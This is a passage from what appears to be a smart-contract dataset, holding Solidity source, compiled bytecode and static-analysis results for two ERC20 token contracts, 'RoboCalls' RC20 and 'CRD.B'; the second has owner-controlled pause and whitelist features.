610fee57506007546001600160a01b0316610fe3610e67565b6001600160a01b0316145b15610ffb575060016104cf565b5060006104cf565b6001600160a01b0383166110485760405162461bcd60e51b81526004018080602001828103825260258152602001806116596025913960400191505060405180910390fd5b6001600160a01b03821661108d5760405162461bcd60e51b815260040180806020018281038252602381526020018061151c6023913960400191505060405180910390fd5b6006546001600160a01b038381166301000000909204161461118e576006546001600160a01b03848116630100000090920416148015906110dc57506008546001600160a01b03848116911614155b80156110f657506009546001600160a01b03848116911614155b801561111057506007546001600160a01b03848116911614155b1561118e57600a54600160a01b900460ff161561118e57600b548111156111685760405162461bcd60e51b81526004018080602001828103825260378152602001806116c76037913960400191505060405180910390fd5b600a805460001960ff600160a01b808404821692909201160260ff60a01b199091161790555b6111cb816040518060600160405280602681526020016115a9602691396001600160a01b038616600090815260016020526040902054919061132f565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546111fa9082610e06565b6001600160a01b0380841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600082611265575060006104ea565b8282028284828161127257fe5b0414610e605760405162461bcd60e51b81526004018080602001828103825260218152602001806115cf6021913960400191505060405180910390fd5b6000610e6083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114b6565b6000610e6083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152505b600081848411156113be5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561138357818101518382015260200161136b565b50505050905090810190601f1680156113b05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b03821661140b5760405162461bcd60e51b81526004018080602001828103825260218152602001806116386021913960400191505060405180910390fd5b6114488160405180606001604052806022815260200161153f602291396001600160a01b038516600090815260016020526040902054919061132f565b6001600160a01b03831660009081526001602052604090205560035461146e90826112f1565b6003556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600081836115055760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561138357818101518382015260200161136b565b50600083858161151157fe5b049594505050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657245524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f43616e2774207472616e73666572206d6f7265207468616e20312e37205745454420666f7220696e697469616c2035302074696d65732ea2646970667358221220c53f0c2e0b0dea9d12aad09afa9e2dc4be5b271ad0c4051255a11b3de4bab30064736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,096
0x61b2d3ea9f1c6b387c985c73d40e8fbfb284e5c7
pragma solidity ^0.5.2; contract Ownable { address public _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { _owner = 0x202Abc6cF98863ee0126C182CA325a33A867ACbA; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == _owner); _; } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a); uint256 c = _a - _b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract ERC20_Interface { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract RC20 is ERC20_Interface, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; uint8 private _decimals; string private _name; string private _symbol; constructor() public { _totalSupply = 900000000e18; _decimals = 18; _name = "RoboCalls"; _symbol = "RC20"; _balances[_owner] = _totalSupply; emit Transfer(address(this), _owner, _totalSupply); } function totalSupply() public view returns (uint256) { return _totalSupply; } function decimals() public view returns(uint8) { return _decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that burns an amount of the token from the owner * @param value The amount that will be burnt. */ function burn(uint256 value) public onlyOwner { _totalSupply = _totalSupply.sub(value); _balances[msg.sender] = _balances[msg.sender].sub(value); emit Transfer(msg.sender, address(0), value); } }
0x608060405234801561001057600080fd5b5060043610610112576000357c01000000000000000000000000000000000000000000000000000000009004806370a08231116100b4578063a9059cbb11610083578063a9059cbb1461030b578063b2bdfa7b14610337578063dd62ed3e1461033f578063f2fde38b1461036d57610112565b806370a082311461028d5780638da5cb5b146102b357806395d89b41146102d7578063a457c2d7146102df57610112565b806323b872dd116100f057806323b872dd146101ee578063313ce56714610224578063395093511461024257806342966c681461026e57610112565b806306fdde0314610117578063095ea7b31461019457806318160ddd146101d4575b600080fd5b61011f610393565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610159578181015183820152602001610141565b50505050905090810190601f1680156101865780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c0600480360360408110156101aa57600080fd5b50600160a060020a038135169060200135610429565b604080519115158252519081900360200190f35b6101dc6104a7565b60408051918252519081900360200190f35b6101c06004803603606081101561020457600080fd5b50600160a060020a038135811691602081013590911690604001356104ad565b61022c610576565b6040805160ff9092168252519081900360200190f35b6101c06004803603604081101561025857600080fd5b50600160a060020a03813516906020013561057f565b61028b6004803603602081101561028457600080fd5b503561062f565b005b6101dc600480360360208110156102a357600080fd5b5035600160a060020a03166106c9565b6102bb6106e4565b60408051600160a060020a039092168252519081900360200190f35b61011f6106f3565b6101c0600480360360408110156102f557600080fd5b50600160a060020a038135169060200135610754565b6101c06004803603604081101561032157600080fd5b50600160a060020a03813516906020013561079f565b6102bb6107b5565b6101dc6004803603604081101561035557600080fd5b50600160a060020a03813581169160200135166107c4565b61028b6004803603602081101561038357600080fd5b5035600160a060020a03166107ef565b60058054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561041f5780601f106103f45761010080835404028352916020019161041f565b820191906000526020600020905b81548152906001019060200180831161040257829003601f168201915b5050505050905090565b6000600160a060020a038316151561044057600080fd5b336000818152600260209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60035490565b600160a060020a03831660009081526002602090815260408083203384529091528120546104e1908363ffffffff61088316565b600160a060020a0385166000908152600260209081526040808320338452909152902055610510848484610898565b600160a060020a0384166000818152600260209081526040808320338085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60045460ff1690565b6000600160a060020a038316151561059657600080fd5b336000908152600260209081526040808320600160a060020a03871684529091529020546105ca908363ffffffff61096716565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600054600160a060020a0316331461064657600080fd5b600354610659908263ffffffff61088316565b6003553360009081526001602052604090205461067c908263ffffffff61088316565b336000818152600160209081526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a350565b600160a060020a031660009081526001602052604090205490565b600054600160a060020a031690565b60068054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561041f5780601f106103f45761010080835404028352916020019161041f565b6000600160a060020a038316151561076b57600080fd5b336000908152600260209081526040808320600160a060020a03871684529091529020546105ca908363ffffffff61088316565b60006107ac338484610898565b50600192915050565b600054600160a060020a031681565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600054600160a060020a0316331461080657600080fd5b600160a060020a038116151561081b57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008282111561089257600080fd5b50900390565b600160a060020a03821615156108ad57600080fd5b600160a060020a0383166000908152600160205260409020546108d6908263ffffffff61088316565b600160a060020a03808516600090815260016020526040808220939093559084168152205461090b908263ffffffff61096716565b600160a060020a0380841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008282018381101561097957600080fd5b939250505056fea165627a7a72305820352c5a31c728798cddde22be2e69caaa00f7630ee115a1b9c508bed95329d75f0029
{"success": true, "error": null, "results": {}}
3,097
0xBcB357682f9D9fc2F99e7d80cc731783611e2C9C
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event TransferFrom(address indexed from, address indexed to, uint256 value); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } //SAFE MATH library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } abstract contract Pausable is Ownable { event Paused(address account); event Unpaused(address account); bool private _paused; constructor () { _paused = false; } //VERIFICA SE ESTA PAUSADO OU N function paused() public view virtual returns (bool) { return _paused; } modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } //MODIFIER RODA QUANDO ESTIVER PAUSADO modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } function pause() public virtual whenNotPaused onlyOwner { _paused = true; emit Paused(_msgSender()); } function unpause() public virtual whenPaused onlyOwner { _paused = false; emit Unpaused(_msgSender()); } } abstract contract WhiteList is Ownable { mapping (address => bool) private _whitelist; bool private _use_whitelist; event UsedWhitelist(address account); event UnUsedWhitelist(address account); event AddressAddWhitelist(address account); event AddressRemoveWhitelist(address account); constructor () { _use_whitelist = true; } modifier onlyWhitelistAddress() { if(_use_whitelist == true) { require(_whitelist[_msgSender()] == true); } _; } function verifyWhitlistAddress (address _address) public view returns (bool) { if(_use_whitelist == false) { return true; } if(_whitelist[_address] == true) { return true; } else { return false; } } function usedWhitelist() public view virtual returns (bool) { return _use_whitelist; } function useWhitelist() public virtual onlyOwner { _use_whitelist = true; emit UsedWhitelist(_msgSender()); } function unUsedWhitelist() public virtual onlyOwner { _use_whitelist = false; emit UnUsedWhitelist(_msgSender()); } function addWhitelistAddress (address _address) public onlyOwner{ _whitelist[_address] = true; emit AddressAddWhitelist(_address); } function removeWhitelistAddress (address _address) public onlyOwner{ _whitelist[_address] = false; emit AddressRemoveWhitelist(_address); } } contract ERC20 is Context, IERC20, Pausable, WhiteList { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; event Redeem(address owner, uint amount); constructor () { _name = "CRD.B"; _symbol = "CRD"; _totalSupply = 200000000000000000000000000; _balances[msg.sender] = _balances[msg.sender].add(_totalSupply); addWhitelistAddress(msg.sender); } function pay() public payable {} function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public whenNotPaused onlyWhitelistAddress virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public whenNotPaused onlyWhitelistAddress virtual override returns (bool) { require(verifyWhitlistAddress(spender) == true, "ERC20 WhiteList: transfer to the address not whitelist"); _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public whenNotPaused virtual override returns (bool) { require(verifyWhitlistAddress(sender) == true, "ERC20 WhiteList: transfer to the address not whitelist (Sender)"); require(verifyWhitlistAddress(recipient) == true, "ERC20 WhiteList: transfer to the address not whitelist (Recipient)"); _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); currentAllowance = currentAllowance.sub(amount); _approve(sender, _msgSender(), currentAllowance); emit TransferFrom(sender, recipient, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public whenNotPaused onlyWhitelistAddress virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public whenNotPaused onlyWhitelistAddress virtual returns (bool) { require(verifyWhitlistAddress(spender) == true, "ERC20 WhiteList: transfer to the address not whitelist (Spender)"); uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); currentAllowance = currentAllowance.sub(subtractedValue); _approve(_msgSender(), spender, currentAllowance); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(verifyWhitlistAddress(recipient) == true, "ERC20 WhiteList: transfer to the address not whitelist"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); senderBalance = senderBalance.sub(amount); _balances[sender] = senderBalance; _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); require(verifyWhitlistAddress(owner) == true, "ERC20 WhiteList: transfer to the address not whitelist (Owner)"); require(verifyWhitlistAddress(spender) == true, "ERC20 WhiteList: transfer to the address not whitelist (SPENDER)"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x60806040526004361061014b5760003560e01c80638456cb59116100b6578063b7ecbaae1161006f578063b7ecbaae1461044f578063dd62ed3e14610478578063e630025a146104b5578063f0786d0b146104cc578063f2fde38b146104f7578063f576f880146105205761014b565b80638456cb591461033f5780638da5cb5b1461035657806394a7ef151461038157806395d89b41146103aa578063a457c2d7146103d5578063a9059cbb146104125761014b565b8063313ce56711610108578063313ce56714610241578063395093511461026c5780633f4ba83a146102a95780635c975abb146102c057806370a08231146102eb578063715018a6146103285761014b565b806306fdde0314610150578063095ea7b31461017b57806318160ddd146101b85780631b9265b8146101e357806323b872dd146101ed57806328500dcc1461022a575b600080fd5b34801561015c57600080fd5b5061016561055d565b6040516101729190612309565b60405180910390f35b34801561018757600080fd5b506101a2600480360381019061019d9190611fcf565b6105ef565b6040516101af91906122ee565b60405180910390f35b3480156101c457600080fd5b506101cd610725565b6040516101da919061254b565b60405180910390f35b6101eb61072f565b005b3480156101f957600080fd5b50610214600480360381019061020f9190611f80565b610731565b60405161022191906122ee565b60405180910390f35b34801561023657600080fd5b5061023f610987565b005b34801561024d57600080fd5b50610256610a5e565b6040516102639190612566565b60405180910390f35b34801561027857600080fd5b50610293600480360381019061028e9190611fcf565b610a67565b6040516102a091906122ee565b60405180910390f35b3480156102b557600080fd5b506102be610bdc565b005b3480156102cc57600080fd5b506102d5610cf9565b6040516102e291906122ee565b60405180910390f35b3480156102f757600080fd5b50610312600480360381019061030d9190611f1b565b610d0f565b60405161031f919061254b565b60405180910390f35b34801561033457600080fd5b5061033d610d58565b005b34801561034b57600080fd5b50610354610e92565b005b34801561036257600080fd5b5061036b610fb1565b60405161037891906122d3565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190611f1b565b610fda565b005b3480156103b657600080fd5b506103bf6110e7565b6040516103cc9190612309565b60405180910390f35b3480156103e157600080fd5b506103fc60048036038101906103f79190611fcf565b611179565b60405161040991906122ee565b60405180910390f35b34801561041e57600080fd5b5061043960048036038101906104349190611fcf565b611390565b60405161044691906122ee565b60405180910390f35b34801561045b57600080fd5b5061047660048036038101906104719190611f1b565b611477565b005b34801561048457600080fd5b5061049f600480360381019061049a9190611f44565b611585565b6040516104ac919061254b565b60405180910390f35b3480156104c157600080fd5b506104ca61160c565b005b3480156104d857600080fd5b506104e16116e3565b6040516104ee91906122ee565b60405180910390f35b34801561050357600080fd5b5061051e60048036038101906105199190611f1b565b6116fa565b005b34801561052c57600080fd5b5061054760048036038101906105429190611f1b565b6118a3565b60405161055491906122ee565b60405180910390f35b60606006805461056c906126af565b80601f0160208091040260200160405190810160405280929190818152602001828054610598906126af565b80156105e55780601f106105ba576101008083540402835291602001916105e5565b820191906000526020600020905b8154815290600101906020018083116105c857829003601f168201915b5050505050905090565b60006105f9610cf9565b15610639576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106309061240b565b60405180910390fd5b60011515600260009054906101000a900460ff16151514156106ba57600115156001600061066561194b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146106b957600080fd5b5b600115156106c7846118a3565b151514610709576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107009061248b565b60405180910390fd5b61071b61071461194b565b8484611953565b6001905092915050565b6000600554905090565b565b600061073b610cf9565b1561077b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107729061240b565b60405180910390fd5b60011515610788856118a3565b1515146107ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c19061236b565b60405180910390fd5b600115156107d7846118a3565b151514610819576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108109061238b565b60405180910390fd5b610824848484611bbc565b6000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061086f61194b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156108ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e69061244b565b60405180910390fd5b6109028382611ed690919063ffffffff16565b90506109168561091061194b565b83611953565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fc0d84ce5c7ff9ca21adb0f8436ff3f4951b4bb78c4e2fae2b6837958b3946ffd85604051610973919061254b565b60405180910390a360019150509392505050565b61098f61194b565b73ffffffffffffffffffffffffffffffffffffffff166109ad610fb1565b73ffffffffffffffffffffffffffffffffffffffff1614610a03576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109fa9061246b565b60405180910390fd5b6000600260006101000a81548160ff0219169083151502179055507ffd35840201cca2214c770185c86c16d4c79381a08e6645cd3239f2df8f994704610a4761194b565b604051610a5491906122d3565b60405180910390a1565b60006012905090565b6000610a71610cf9565b15610ab1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa89061240b565b60405180910390fd5b60011515600260009054906101000a900460ff1615151415610b32576001151560016000610add61194b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610b3157600080fd5b5b610bd2610b3d61194b565b848460046000610b4b61194b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bcd919061259d565b611953565b6001905092915050565b610be4610cf9565b610c23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1a9061234b565b60405180910390fd5b610c2b61194b565b73ffffffffffffffffffffffffffffffffffffffff16610c49610fb1565b73ffffffffffffffffffffffffffffffffffffffff1614610c9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c969061246b565b60405180910390fd5b60008060146101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa610ce261194b565b604051610cef91906122d3565b60405180910390a1565b60008060149054906101000a900460ff16905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610d6061194b565b73ffffffffffffffffffffffffffffffffffffffff16610d7e610fb1565b73ffffffffffffffffffffffffffffffffffffffff1614610dd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dcb9061246b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610e9a610cf9565b15610eda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed19061240b565b60405180910390fd5b610ee261194b565b73ffffffffffffffffffffffffffffffffffffffff16610f00610fb1565b73ffffffffffffffffffffffffffffffffffffffff1614610f56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4d9061246b565b60405180910390fd5b6001600060146101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258610f9a61194b565b604051610fa791906122d3565b60405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610fe261194b565b73ffffffffffffffffffffffffffffffffffffffff16611000610fb1565b73ffffffffffffffffffffffffffffffffffffffff1614611056576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104d9061246b565b60405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f1aaea894bead4466b216160e5b7f0ac4f00130bcf08cd3b112849a193ed2592c816040516110dc91906122d3565b60405180910390a150565b6060600780546110f6906126af565b80601f0160208091040260200160405190810160405280929190818152602001828054611122906126af565b801561116f5780601f106111445761010080835404028352916020019161116f565b820191906000526020600020905b81548152906001019060200180831161115257829003601f168201915b5050505050905090565b6000611183610cf9565b156111c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ba9061240b565b60405180910390fd5b60011515600260009054906101000a900460ff16151514156112445760011515600160006111ef61194b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054